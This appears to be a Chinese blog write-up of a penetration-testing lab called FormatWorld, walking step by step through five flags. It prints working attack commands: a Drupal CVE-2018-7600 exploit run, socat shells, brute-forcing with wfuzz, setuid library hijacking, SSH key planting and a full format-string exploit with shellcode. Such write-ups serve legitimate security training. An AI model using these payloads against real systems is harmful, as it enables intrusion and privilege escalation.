渗透测试靶场之:FormatWorld

引子

前段时间参加了一个网络安全的线上培训,发现网安老师演示的FormatWorld靶场实例很有意思,作为小白的我忍不住记录下来。靶场需要我们逐步提权,最终get五个flag,涉及不少基础的渗透测试的工具和手段。喜欢的小伙伴点赞收藏支持一下。

准备环境(靶机和攻击机需使用NAT模式)

1.攻击机:kali(ip:192.168.208.135)。我的是kali-2021.3版本的,有点老,但不影响使用。
2.靶机:FormatWorld(ip:192.168.208.138)。
百度网盘下载链接:https://pan.baidu.com/s/1kmJzBJLXD4Kd9BAuQVSIFQ
提取码:wjvs

获取flag1

1.查看同一个网段下存活的ip地址

arp-scan -l


其中,192.168.208.1是Windows真实机在虚拟网卡VMnet8下的ip地址,192.168.208.2是VMnet8的网关,192.168.208.254是DHCP对ip的分配上限。很容易排除知道靶机ip为192.168.208.138。
或者也可以用下面的命令:

nmap -sP 192.168.208.0/24

-sP:ping扫描,但不进行端口扫描。

2.扫描靶机ip开放的端口

nmap -sV 192.168.208.138

-sV:可以显示服务的详细版本。

看到了开启的端口号、对应的服务和版本。但与常识相悖的是,ssh服务的端口号不是22,而是5555,先不屌它。

3.寻找ftp服务的漏洞

该靶机ftp版本为vsftpd 2.0.8或之后的版本,使用searchsploit命令寻找漏洞:

searchsploit vsftpd 2.0.8
searchsploit vsftpd 2.3.4

虽然vsftpd 2.0.8没有已知漏洞,但网上查资料知vsftpd 2.3.4存在漏洞。

这是著名的笑脸漏洞。vsftpd 2.3.4版本存在一个后门漏洞,这个后门的载荷以:)字符的形式拼接在用户名上,后门代码绑定的侦听端口是6200。利用下面nmap命令确认一下:

nmap -sS -T4 -A -p- 192.168.208.138

-sS:进行SYN半连接扫描(优点是速度很快,缺点是精确度相对较低,并且需要root权限)。
-T4:-T指定扫描时使用的时序模板,共0-5六个等级,等级越高,扫描速度越快,但是容易被防火墙和入侵检测设备发现。一般认为,4是最合适的等级参数。
-A:全面扫描。
-p-:全端口扫描。

发现果然允许ftp匿名登录。

4.利用漏洞进行ftp匿名登录

安装lftp。lftp是著名的字符界面的文件传输工具,支持ftp、sftp、ftps、http、https和fish协议。

apt-get install lftp

匿名登录:

lftp 192.168.208.138

输入user anonymous后输入密码,什么都行,我输的是123.com。

ls后可以看到一个文件WELCOME。get命令传到kali的root目录下,新建终端并查看:



欢迎来到FormatWorld!至此,信息收集任务完毕,那么如何获取flag1呢?

5.获取flag1

直接ls只有WELCOME一个文件,我们不妨使用ls -al查看一下隐藏文件,发现异常目录...,cd进去,再ls -al。发现可疑目录.bak,cd进去,再ls -al。操作如下图:

使用get命令将flag1.txt和firewall.sh传到root目录下,新建终端并查看:

get到flag1。另外,firewall.sh中含有关键词SYN、OUTPUT和tcp,即允许SYN出,恰好印证了前面nmap扫描时的-sS参数的可行性。

获取flag2

1.爆破8000端口的目录

21端口信息用完了,再研究下8000端口,它是http服务,故访问一下http://192.168.208.138:8000。

是一个登录网站,网页内容透露username是pinkadmin,其他一概不知,此时需再次使用nmap命令查询8000端口的目录,寻找有用信息:

nmap -sS -T4 -A -p- 192.168.208.138

或者直接使用dirb命令爆破目录(时间较长):

dirb http://192.168.208.138:8000

nmap扫描的结果为:

发现CHANGELOG.txt,直接访问http://192.168.208.138:8000/CHANGELOG.txt:

看到Drupal的版本是Drupal 7.57。

2.寻找Drupal的漏洞

由于Drupal 7.57的发行时间是2018-02-21,如此久远的版本必定是千疮百孔、漏洞百出,searchsploit命令看一下:

searchsploit Drupal 7.57


找下44449.rb的路径:

find / -name 44449.rb


Drupal 7.57的版本满足第四行的条件,因此可以利用/usr/share/exploitdb/exploits/php/webapps/44449.rb这个脚本。给它复制到root目录下,并查看内容:

cp /usr/share/exploitdb/exploits/php/webapps/44449.rb .


发现是[CVE-2018-7600]的漏洞类型。

3.获取shell

运行一下44449.rb,但在这之前必须安装highline否则报错:

gem install highline

gem命令用于构建、上传、下载以及安装gem包。

运行44449.rb:

./44449.rb


显示用法不对,按用法执行下面的命令:

ruby 44449.rb http://192.168.208.138:8000

拿到了如下的shell:

之后就是常规操作了:


get到flag2。

获取flag3

1.shell下尝试收集目录文件信息

-rw-r--r--  1 root     root         28 Aug 14 18:01 flag2.txt
drwxr-xr-x  4 www-data www-data   4096 Feb 21  2018 sites

以上面两行为例:最左边的d是目录文件,-是普通文件。rwx意思是可读(r)可写(w)可执行(x)。故drwxr-xr-x分为d|rwx|r-x|r-x,从左到右分别代表文件类型、文件所有者的权限、用户组的权限、其他用户的权限。左边的www-data代表所有者,右边的www-data代表用户组。
尝试收集信息:

发现cd命令失效了。

2.通过tcp监听进行提权

cd命令失效,先nc一下,发起tcp软连接,但发现命令不存在,于是考虑nc的加强版socat,命令如下:

socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane


进入待监听状态,于是新建一个终端,监听1111端口,命令如下:

socat file:`tty`,raw,echo=0 tcp:192.168.208.138:1111


使用socat拿到了一个新的shell。

3.获取数据库信息

翻遍sites目录下的子文件,终于在settings.php中发现数据库的主机地址、名称、账号、密码和mysql引擎:


连接数据库:

mysql -h127.0.0.1 -udpink -pdrupink


后面就是数据库常识了,依次输入:

show databases;
use drupal;
show tables;
select * from users;
select name,pass from users;


出现用户名和MD5加密密文。网上在线解码MD5,失败了,这条线似乎断了?

4.端口转发

既然从数据库得不到更多信息,那就查看靶机开放的端口找找线索:

发现其他服务,利用socat转发80和65334端口给2222和3333:

socat tcp-listen:2222,fork tcp:127.0.0.1:80 &
socat tcp-listen:3333,fork tcp:127.0.0.1:65334 &


然后nmap查看这两个端口是否成功转发:

发现已经出现了2222和3333端口,转发成功。

5.爆破用户名、密码和pin值

既然是转发的是http服务,那么一定可以在浏览器访问,访问一下2222端口:

出现三个输入框,分别是用户名、密码和5字符pin值。并且网站名称是Guess,推测这应该和“猜测”有关。再访问一下3333端口:

难道是和数据库有关?事不宜迟,新建终端,用下面的命令爆破一下目录:

wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.208.138:3333/FUZZs.db"

db指数据库database,命令的意思大概是将dirb搜索到的目录填充到数据库中。

由于FUZZ是变量,因此pwd需要替换FUZZ,方可访问网址。现在可以访问一下http://192.168.208.138:3333/pwds.db了:

现在2222端口网址的password就有着落了,现在的问题是如何获取用户名。我们知道在linux的密码文件中,存放有不同用户的名称,于是要用到前面的shell,使用cat /etc/passwd查看一下密码文件:

发现关键的用户名:root、pinky、pinksec、pinksecmanagement,再加上破解flag2时访问8000端口的网址中的用户名pinkadmin,把这五个用户名存到root目录user.txt下。另外把pwds.db下有嫌疑的密码存到root目录下的passwd.txt中。
到这里有经验的朋友应该知道下一步的操作了,就是账号密码爆破。但pin值的范围是10的5次方,计算量大,因此可以先固定pin值爆破,看看用户名和密码大概是什么:

wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php



发现char值有个特立独行的41,使用--hh参数去掉char值为45的返回结果,再次爆破:

wfuzz --hh 45 -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php


之后就要猜测5位的pin值。使用crunch工具生成5位字符:

crunch 5 5 1234567890 > pin.txt

爆破pin值,使用--hh参数去掉char值为41和45的返回结果:

wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.208.138:2222/login.php


到此为止,
用户名:pinkadmin
密码:AaPinkSecaAdmin4467
pin值:23081

6.获取flag3

在http://192.168.208.138:2222/网址输入这三个数据,得到下面的界面:

这个输入框又是一个shell!但是在这里直接操作不方便,需要利用网页的可执行窗口,使用socat命令反弹一下shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:6666,bind=0.0.0.0,reuseaddr,fork


新建终端接收shell,socat命令监听6666端口,获得一个shell终端:

socat file:`tty`,raw,echo=0 tcp:192.168.208.138:6666


之后就是常规操作啦:


get到flag3。

获取flag4

1.通过端口转发获取pinksecd文件

在上面的shell的home目录下尝试cd进入pinky和pinksecmanagement目录,发现没有权限:

不经意间在刚才的bin目录下发现竟然有个setuid文件pinksecd!

出于学习漏洞分析后对setuid程序的敏感,我们可以尝试通过它来提权。在bin目录下利用socat命令打开pinksecd文件,通过7777端口进行转发:

socat -u open:pinksecd tcp-listen:7777,reuseaddr

再打开新的终端接收:

socat -u tcp:192.168.208.138:7777 open:pinksecd,create

无回显,这是正常的,命令意思是打开pinksecd并会在当前目录下创建pinksecd文件:

2.修改库文件使得pinksecd文件得以运行

根据前面该文件具有setuid(s)和可执行(x)的属性,猜测这是一个可执行程序,我们给他赋权限,然后运行一下:

运行失败,根据错误提示知道它的运行需要依赖一个libpinksec.so的文件。那在刚刚的shell里找找呗,使用ldd命令查看pinksecd的依赖库对应的文件:

ldd pinksecd


库的路径是/lib/libpinksec.so,用nm工具分析一下:

nm -g /lib/libpinksec.so


搜索psbanner、psopt、psoptin这三个函数发现是我们的目标函数,实际上就是bin目录下shell.c里的三个函数。cat查看shell.c,发现三个函数都有系统命令system(),我们可以用这些函数返回调用系统级别的命令。现在我们要编译一下shell.c,实际上目录中已存在。如果需要编译,要用以下命令:

gcc -shared -o shell.o -fPIC shell.c

我们的目标是加载库,故需要将shell.o替换原来的/lib/libpinksec.so:

cp shell.o /lib/libpinksec.so

使用命令./pinksecd再次运行一下pinksecd,又get到一个shell!更专业的说法是,在运行具有setuid权限的可执行文件pinksecd时,临时具有了其他用户的权限。

3.获取flag4

euid用户是pinksecmanagement,现在我们可以访问所有者为pinksecmanagement的文件或目录了:

get到flag4。

获取flag5

1.获取公钥

利用上面的shell键入删除等操作时出现预期外的符号,属于不稳定的shell。那要获取稳定shell怎么做呢?肯定是从已有信息中寻找。flag4的内容透露给我们ssh的端口是5555,这个我们一直没吊的端口竟然是隐藏的大boss!既然靶场开放了ssh服务,那么考虑免密方式登录靶场。首先进入/.ssh目录,建立rsa文件,查看id_rsa.pub中的公钥:


其中建立rsa文件的命令是:

ssh-keygen -t rsa

2.将公钥拷贝到靶场

我们免密登录的思路是用靶场的私钥访问这个公钥,二者对应上即可登录,但前提是需要把这个公钥拷贝到靶场。在shell中先回到我们的/home/pinksecmanagement目录,目录下并没有.ssh文件夹,我们自己建一个:

使用echo命令新建一个authorized_keys的文件,把刚才的公钥拷贝进去:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH3XJRL2CtpHjVOMN73DPirnTiQQkbEjmLIKFOCMFO3nmy+mo5yfgAyLAk2UzGlSfyrSwh3r6UM1d13khXNV8C1MDCVmbDKBF2xiTZ6r8dvEcgLyyjaBHkXrGVMLXWXXIvaX4j4ZZSr/FMuCkU6xwv2qBl1Tiw5dpt0l1+C17/z9hVIDm7shpG4qsdbm2qUKrg32zTi9GAwiUmURKxI/rcmQ6Qt2R8WIW+GNreWPolmwjYvZRQrSlVlkNGb7NvVX+eTwIsXm1dXqaDVME23GKTpYWQvEp/VVmUa5BerVE1q/SlqdKT9Bh3psRGaWEN75q1v/j2U6rGzydsqr1JUGfoeW7oC5RbxdRWMZPiC05TCg7rLbYafIs+CHxx1dsnDYdZicmQp7xE+6YiOh1m64tH4+9jKLs6j/MXLn41JG62Gra+wAlGkwM4ZfbhRsvY0Wj4fQlaB2XjHvvqy6xRQTnn7GpFaRqBT12S19eMD3EVKpW+XJdR2tFyQEAT1ZwEqLs= root@kali" > authorized_keys

3.kali终端免密登录靶场

切换到终端/.ssh目录,利用ssh使攻击机登录靶机:

ssh pinksecmanagement@192.168.208.138 -p 5555 -i id_rsa


登录成功,此时shell为pinksecmanagement所有。

4.从靶场接收目的文件

全局查找文件属性为setuid的文件,错误的结果直接舍弃:

find / -perm -u=s -type f 2> /dev/null


发现/usr/local/bin/PSMCCLI鹤立鸡群(其实就是我懒,大家可以自己分析这些文件),是个很奇怪的文件,查看一下其属性:

看到这个可执行的setuid文件不仅属于用户组pinksecmanagement,还属于所有者pinky。以文件后附任意值的方式运行它:

很容易知道这是格式化字符串漏洞。这个漏洞的利用,一般是向环境变量里写入shellcode,再利用漏洞程序改写地址到shellcode地址,以获取shell。现在先利用socat共享文件:

socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr

新建终端接收:

socat -u tcp:192.168.208.138:9999 open:PSMCCLI,create

5.利用格式化字符串漏洞逐步提权

查看PSMCCLI文件是否加壳:

checksec --file=PSMCCLI


没有什么保护,就是简单的格式化字符串漏洞。
(1)开始攻击,在shell中先将shellcode写进环境变量:

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

shell需要接收addr.c,即获取变量地址的程序,这里shell已经有了addr.c,直接编译,查看环境变量SPAWN地址:

SPAWN地址为bffffe7e。
(2)之后还要知道putchars的地址,需要反汇编工具objdump,使用命令:

objdump -R /usr/local/bin/PSMCCLI


putchars的地址为0804a01c。
(3)还要知道args函数位置,稍微输入一些测试payload:

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")


目前字符是829个,136<829/6-2<137,故要不断尝试构造payload:

/usr/local/bin/PSMCCLI AAAABBBB%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBC%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBCC%136\$x%137\$x
/usr/local/bin/PSMCCLI AAAABBBBCCC%136\$x%137\$x


命令/usr/local/bin/PSMCCLI AAAABBBBCCC%136$x%137$x的输出结果为AAAABBBB4141414142424242,即为正确结果。
(4)找前半段地址。现在要访问putchars的地址0x0804a01c,需要分成高低两个地址,高地址为0x0804a01e,低地址为0x0804a01c。利用刚才测试好的CCC%136$x%137$x作为拼接,构造下面的payload:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%136\$x%137\$x


出现了a01c和a01e,说明构造成功。
(5)找后半段地址。只需把$x换成$n。构造payload:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%136\$x%137\$n


报错了,这是因为payload超了边界。
(6)计算正确的地址并构造最终的payload提权。要把shellcode地址0xbffffe7e写入内存字节,由于每个短字节最多只能容纳0xffff,故需要拆分为两个短字节。0xbfff=49151,0xfe7e=65150。前半部分是49151,后半部分要减去AAAABBBBCCC的11个字节,即65150-11=65139。此外,bfff要进一,因此需要0x1bfff-0xfe7e=49537个字符写入所需的0xbfff。使用%u引入多余字符,构造最终的payload:

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65139u%136\$hn%49537u%137\$hn

得到了新的shell。进行常规操作:

(7)上图结果没有我们想要的flag,可以采用我们之前用的老方法,即免密登录,重复之前免密登录的操作:


现在得到的shell所有者是pinky了。再次查看目录下的文件:

竟然还是没有相要的flag!
(8)获取flag5。穷极一切方法都没效果,只能考虑sudo -l的提权方式,恰好目录下有我们sudo -l提权需要的所有文件。先make一下,然后编译shell.c:

把编译后的shell复制到/tmp目录下,这是因为/tmp目录的内置策略,这里就不细究了。之后查看sudo -l命令的说明,使用该命令装载sroot.so:

在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!激动的心,颤抖的手,运行一下:

我们终于获得了顶级root权限,并且获得了flag5。

小结和寄语

至此我们获得了包括root、pinky、pinksecmanagement、pinksec、pinkadmin全部五个的shell。一路走来,实属不易。渗透测试之路很艰辛,我们仍需砥砺前行,且行且珍惜。

posted @ 2023-08-27 18:46  b1ackstar  阅读(320)  评论(0)    收藏  举报